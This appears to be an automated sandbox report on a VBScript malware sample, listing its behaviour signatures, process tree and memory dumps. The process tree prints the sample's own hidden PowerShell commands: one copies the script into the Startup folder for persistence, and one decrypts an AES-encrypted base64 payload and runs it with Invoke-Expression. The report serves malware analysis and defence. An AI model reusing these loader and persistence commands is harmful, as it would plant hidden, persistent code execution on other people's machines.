Analysis
- max time kernel
149s - max time network
132s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
21/07/2026, 12:18
General
- Target mal.vbs
- Size 2.0MB
- Sample260721-pgtd3avgrf
- SHA256 7c0579fd065cc4d26806798476d2a2e1dbae44eddae9f3cefd1e607ef17b1fb6
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mal.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\mal.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mal.vbs' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $maucaco = [System.Text.Encoding]::UTF8.GetBytes('8jq20VOTl9a83uQ2'); if ($maucaco.Length -lt 32) { $maucaco = $maucaco + (0..(31 - $maucaco.Length)) }; $trophoplast = [Convert]::FromBase64String('/vPxfbJdNllj9QLpnM468oHsjUiLRvJHMq9v0QdUZxkGwZ3ODFLck0ucE05tDCa03PAAmiBuPV4/aDjk2Om5OFfuGpIcIE2Uxn3aktXVTl5H9kvf3pp48kiweg82CyCaMFXDbFO7wL/OB81BK5s875Hz7tL0R8qt+2tJ74Xm45orIISxrnYcQO5frV1YtsC3UFnUKoxvtxlps/k+k/ZErcBgtcAOoXdM0jypRXcjAlrV7ixizNSU7HrU/wsxkBTfmzpJ8rCdibWH3CcKAtLdsoKLQznx3AO2Yw5bUqkgnwbwU4B2EIiOIKNPBWQzZp1Pw/7LPGpXB5One68OvmZ1eQOvL6UK0kJf+4Jx6SOG26y9/XCv9Aa1eF1udly1x4A1oh6RcZD9Eo3fHzAlEz3eLGK4BxgIhaCobaR6FC6lh7N6Q9N3JGYgTq3xjAIqfzftqlKTZHv8VkuYkk4vtf9jPWkFI3MtkwHV/2k4wx3hnHyhv7eSeYZX2Sccz6Z1+vBY4/hUXgI4P4sK3oAFuMN/CtPLs4irUn29dOnsPnMRgCEJ7fmpDf6WyKmYqIFodl/0Q59V1vM2O2r74LUj9tkrisdHktyMVTMnThvQpCKgJ0YlYJaXOE8n/GH4xK5gNSnReExV3nJzpUyhLgN8cEj8D0Ccv9uWfWGYooMYxYi57ipaHI1U3l9Y9UGrBQwriz4aeZReBXtuSJTzrU3s5lhQBuwyfdMo/6uWFLDMDzG7PqqKgC814JPtNRGh1f7aAAQ3E/8Ojq2c8rFRrfrhlD0CL3yMq6f3MComOFcPdZ26hwX6yXMoiugrP5AS7KVUqCeUYrZwpFqVlxtn7k6DcZflvWVWKWdlUEF+0XRCX73DSlz6jiN3LeBJfb1lWyUkaV/chuFwmKl7OTlNMboFWLEwIzKooOPLemgm34JprxqXSlwIW0OneAQzkOQfLrSnkIjolcC/QKzPpiYfOe8g/pcAbU9kwOvZFwDTwyEIvopT840y8Wf20HzQ9534sgq0mt7MLv4KmIhiNIIGqxOyC+2lkACYN87W8eYHsUCmScrLTRyHuG4yrbJ8qudumLtociezyJHb+GVoDWM3TnXGHCfZWKR8apeghJmW6pIbsipBdjUmnq0dWaYI0UEdXqsaHVijUCI9FzWD8uLGhLlaxKOr+N43XXbG0+T6Za05/PmILxi9jR7aEgxi+y/V/xDLXaN9U4+KApiLuic9fQtC0PLMDVYqWslkfK6X26TfNwVIWw1bIGcRX3vzatS5d8ZbMFh5rz/J8KgLL6JtQiJs1VyXz9tvVK7RMRRvcsxbwUUDeMkBB+X9iSJ04lEeQvgfcgla5zor3k9era3LkXyjNmQGm0GoBCXnPnJiXoMn2Dq6su1Gm8ygcsUhO+FF8CLqzyViFBxTcY3XUvXJxzWwGsU6CMQ8ZOjmsPXDGBLxcCSqGdz2KcNyjjwM0fcaoxvb+ImZIYse5wXSAvipAJQsVxT225yP0iwfduJKY2lErOlk/asSXGOlffJD3IScjm1sK2ONjcl0PAVPtAW3dR/s+OWTdAoVu+FY8Ul3okhkfwOaQ9GJSim70G5NWs/gaHoQnm+lg6C+nJsjiFuJQ7kYXJrQ323N53oSb1DkRdIQywcPRKECH/1Eoivajo/Hzaw/nQ0eD2Bk5CY5ItZF/2bngVqQ12iqVjS0eYdz8KPo9HPmypWLr5Jyxq9uqG4MozPuH6H7+EAgqIWMeClzP5mlDo07ohDNOIYwErO2l9mxlKVjs7A='); $cholangiocytes = $trophoplast[0..15]; $devisceration = $trophoplast[16..($trophoplast.Length-1)]; $superstars = [System.Security.Cryptography.Aes]::Create(); $superstars.Key = $maucaco; $superstars.IV = $cholangiocytes; $prescutum = $superstars.CreateDecryptor(); $puttered = $prescutum.TransformFinalBlock($devisceration, 0, $devisceration.Length); $amnesties = [System.Text.Encoding]::UTF8.GetString($puttered); Invoke-Expression $amnesties; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/2324-19-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-29-0x000001972BA30000-0x000001972BA5D000-memory.dmp
memory/2324-30-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-25-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-26-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-24-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-23-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-22-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-21-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-18-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/2324-20-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-8-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-15-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-14-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-12-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-10-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-11-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-9-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-0-0x00007FFD38E9F000-0x00007FFD38EA0000-memory.dmp
memory/6108-7-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-6-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-5-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp
memory/6108-4-0x0000023CAC0D0000-0x0000023CAC0F2000-memory.dmp
memory/6108-1-0x00007FFD38D10000-0x00007FFD396B4000-memory.dmp